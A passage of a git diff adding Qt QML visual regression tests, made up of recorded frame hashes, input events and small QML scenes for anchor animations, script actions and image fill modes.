8832 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8848 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8864 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8880 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8896 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8912 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8928 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8944 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8960 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8976 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8992 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9008 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9024 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9040 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9056 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9072 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9088 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9104 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9120 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9136 + hash: "1137e22c68e043950811dee295e19b04" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 9152 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9168 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9184 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9200 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9216 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9232 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9248 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9264 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9280 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9296 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 9312 + hash: "1137e22c68e043950811dee295e19b04" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml b/tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml new file mode 100644 index 0000000..1d0495e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml @@ -0,0 +1,69 @@ +import Qt 4.6 + +Rectangle { + id: container + width: 200; height: 200 + Rectangle { + id: myRect + objectName: "MyRect" + color: "green"; + anchors.left: parent.left + anchors.right: rightGuideline.left + anchors.top: topGuideline.top + anchors.bottom: container.bottom + } + Item { id: leftGuideline; x: 10 } + Item { id: rightGuideline; x: 150 } + Item { id: topGuideline; y: 10 } + Item { id: bottomGuideline; y: 150 } + Item { id: topGuideline2; y: 50 } + Item { id: bottomGuideline2; y: 175 } + + MouseArea { + id: wholeArea + anchors.fill: parent + onClicked: { + if (container.state == "") { + container.state = "reanchored"; + } else if (container.state == "reanchored") { + container.state = "reanchored2"; + } else if (container.state == "reanchored2") + container.state = "reanchored"; + } + } + + states: [ State { + name: "reanchored" + AnchorChanges { + target: myRect; + anchors.left: leftGuideline.left + anchors.right: container.right + anchors.top: container.top + anchors.bottom: bottomGuideline.bottom + } + }, State { + name: "reanchored2" + AnchorChanges { + target: myRect; + anchors.left: undefined + anchors.right: undefined + anchors.top: topGuideline2.top + anchors.bottom: bottomGuideline2.bottom + } + }] + + transitions: Transition { + AnchorAnimation { } + } + + MouseArea { + width: 50; height: 50 + anchors.right: parent.right + anchors.bottom: parent.bottom + onClicked: { + container.state = ""; + } + } + + state: "reanchored" +} diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.0.png b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.0.png new file mode 100644 index 0000000..64d6b06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.1.png b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.1.png new file mode 100644 index 0000000..1a25c63 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.qml b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.qml new file mode 100644 index 0000000..01da490 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.qml @@ -0,0 +1,535 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 32 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 48 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 64 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 80 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 96 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 112 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 128 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 144 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 160 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 176 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 192 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 208 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 224 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 240 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 256 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 272 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 288 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 304 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 320 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 336 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 352 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 368 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 384 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 400 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 416 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 432 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 448 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 464 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 480 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 496 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 512 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 528 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 544 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 560 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 576 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 592 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 608 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 624 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 640 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 656 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 672 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 688 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 704 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 720 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 736 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 752 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 768 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 784 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 800 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 816 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 832 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 848 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 864 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 880 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 896 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 912 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 928 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 944 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 960 + image: "scriptAction.0.png" + } + Frame { + msec: 976 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 992 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1008 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1024 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1040 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1056 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1072 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1088 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 146; y: 259 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1104 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1120 + hash: "9850cd8ed4643900409d1a87ef0bc4cf" + } + Frame { + msec: 1136 + hash: "1cf03396b01e931e4e7e8e7e57e19c5f" + } + Frame { + msec: 1152 + hash: "25fe648b85ec2d82621853dcbdbf695a" + } + Frame { + msec: 1168 + hash: "1ca701e56fe387d5849f6933eb53aee9" + } + Frame { + msec: 1184 + hash: "b39ecb792659a053a8985e2a849d6d51" + } + Frame { + msec: 1200 + hash: "9a783432a054beec81cc5687f75a36dc" + } + Frame { + msec: 1216 + hash: "edbd222d7ba6c6f819ded45fe316d461" + } + Frame { + msec: 1232 + hash: "eaf20159c4b90f90872bbd514d3a0cec" + } + Frame { + msec: 1248 + hash: "964807dd9b91e765577a773ef1ce2593" + } + Frame { + msec: 1264 + hash: "16e12026ab14657b0f36b8315684455d" + } + Frame { + msec: 1280 + hash: "d001a6b2fec3c66baaa45d9ff93b3f63" + } + Frame { + msec: 1296 + hash: "fef11eb5f635bc11cd9679b7213b3b92" + } + Frame { + msec: 1312 + hash: "0a0cd5f5004048d88712cfe6943470c0" + } + Frame { + msec: 1328 + hash: "0d83178afdae5feaa9915d56c24373ad" + } + Frame { + msec: 1344 + hash: "0a9e6e0b7b23ce93dc4e1f886cf9c7d1" + } + Frame { + msec: 1360 + hash: "f3199d0c860f1236e0b9472bef8785bc" + } + Frame { + msec: 1376 + hash: "f3199d0c860f1236e0b9472bef8785bc" + } + Frame { + msec: 1392 + hash: "32ccdab249268b01d9f1658a736052f1" + } + Frame { + msec: 1408 + hash: "dc98f32a1a2d6e74998123b5232107b0" + } + Frame { + msec: 1424 + hash: "db3010ef552146df938c237f6c92bff5" + } + Frame { + msec: 1440 + hash: "101e8595d0301e88376ec52ba9361f84" + } + Frame { + msec: 1456 + hash: "119d548c59baa7e47266d2ceca663288" + } + Frame { + msec: 1472 + hash: "f141fafe102a0b9a2bf33e8c3fc800ff" + } + Frame { + msec: 1488 + hash: "b01f9ca8d4fbff17b3d48c70898a044d" + } + Frame { + msec: 1504 + hash: "cf67954a2d1b22e8d2cfdc26419bafb8" + } + Frame { + msec: 1520 + hash: "7680b2b5a63dea13d733947297e01355" + } + Frame { + msec: 1536 + hash: "af1c017acf6b3c8cff86c9ceb60db3cb" + } + Frame { + msec: 1552 + hash: "0b23ec51f71fddae5e2238ab5754f1db" + } + Frame { + msec: 1568 + hash: "976643961ecbdc86335180ba812b874e" + } + Frame { + msec: 1584 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1600 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1616 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1632 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1648 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1664 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1680 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1696 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1712 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1728 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1744 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1760 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1776 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1792 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1808 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1824 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1840 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1856 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1872 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1888 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1904 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1920 + image: "scriptAction.1.png" + } + Frame { + msec: 1936 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1952 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1968 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 1984 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2000 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2016 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2032 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2048 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction.qml b/tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction.qml new file mode 100644 index 0000000..fc9ccc8 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction.qml @@ -0,0 +1,35 @@ +import Qt 4.6 + +Rectangle { + width: 400; height: 400 + Rectangle { + id: myRect + width: 100; height: 100 + color: "red" + } + MouseArea { + id: clickable + anchors.fill: parent + } + + states: State { + name: "state1" + when: clickable.pressed + PropertyChanges { + target: myRect + x: 50; y: 50 + } + StateChangeScript { + name: "setColor" + script: myRect.color = "blue" + } + } + + transitions: Transition { + SequentialAnimation { + NumberAnimation { properties: "x"; easing.type: "InOutQuad" } + ScriptAction { scriptName: "setColor" } + NumberAnimation { properties: "y"; easing.type: "InOutQuad" } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png new file mode 100644 index 0000000..9c9ceae Binary files /dev/null and b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png differ diff --git a/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml new file mode 100644 index 0000000..7ac6f51 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml @@ -0,0 +1,279 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 32 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 48 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 64 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 80 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 96 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 112 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 128 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 144 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 160 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 176 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 192 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 208 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 224 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 240 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 256 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 272 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 288 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 304 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 320 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 336 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 352 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 368 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 384 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 400 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 416 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 432 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 448 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 464 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 480 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 496 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 512 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 528 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 544 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 560 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 576 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 592 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 608 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 624 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 640 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 656 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 672 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 688 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 704 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 720 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 736 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 752 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 768 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 784 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 800 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 816 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 832 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 848 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 864 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 880 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 896 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 912 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 928 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 944 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 960 + image: "fillmode.0.png" + } + Frame { + msec: 976 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 992 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 1008 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 1024 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 1040 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } + Frame { + msec: 1056 + hash: "c8cb8d51ca04231dc272133faaf2fb6d" + } +} diff --git a/tests/auto/declarative/qmlvisual/fillmode/face.png b/tests/auto/declarative/qmlvisual/fillmode/face.png new file mode 100644 index 0000000..9623b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/fillmode/face.png differ diff --git a/tests/auto/declarative/qmlvisual/fillmode/fillmode.qml b/tests/auto/declarative/qmlvisual/fillmode/fillmode.qml new file mode 100644 index 0000000..8450bf2 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/fillmode/fillmode.qml @@ -0,0 +1,16 @@ +import Qt 4.6 + +Rectangle { + id: screen; width: 750; height: 600; color: "gray" + property string source: "face.png" + + Grid { + columns: 3 + Image { width: 250; height: 300; source: screen.source; fillMode: Image.Stretch } + Image { width: 250; height: 300; source: screen.source; fillMode: Image.PreserveAspectFit; smooth: true } + Image { width: 250; height: 300; source: screen.source; fillMode: Image.PreserveAspectCrop } + Image { width: 250; height: 300; source: screen.source; fillMode: Image.Tile; smooth: true } + Image { width: 250; height: 300; source: screen.source; fillMode: Image.TileHorizontally } + Image { width: 250; height: 300; source: screen.source; fillMode: Image.TileVertically } + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.0.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.0.png new file mode 100644 index 0000000..0f33d99 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.1.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.1.png new file mode 100644 index 0000000..0f33d99 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.2.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.2.png new file mode 100644 index 0000000..06a3dbd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.2.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.3.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.3.png new file mode 100644 index 0000000..e0d02d6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.3.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.4.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.4.png new file mode 100644 index 0000000..e0d02d6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.4.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.5.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.5.png new file mode 100644 index 0000000..e0d02d6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.5.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.qml b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.qml new file mode 100644 index 0000000..44900fc --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.qml @@ -0,0 +1,1599 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 32 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 48 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 64 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 80 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 96 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 112 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 128 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 144 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 160 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 176 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 192 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 208 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 224 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 240 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 256 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 272 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 288 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 304 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 320 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 336 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 352 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 368 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 384 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 400 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 416 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 432 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 448 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 464 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 480 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 496 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 512 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 528 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 544 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 560 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 576 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 592 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 608 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 624 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 640 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 656 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 672 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 688 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 704 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 720 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 736 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 752 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 768 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 784 + hash: "70f4ce2881f2340167f314b49716707a" + } + 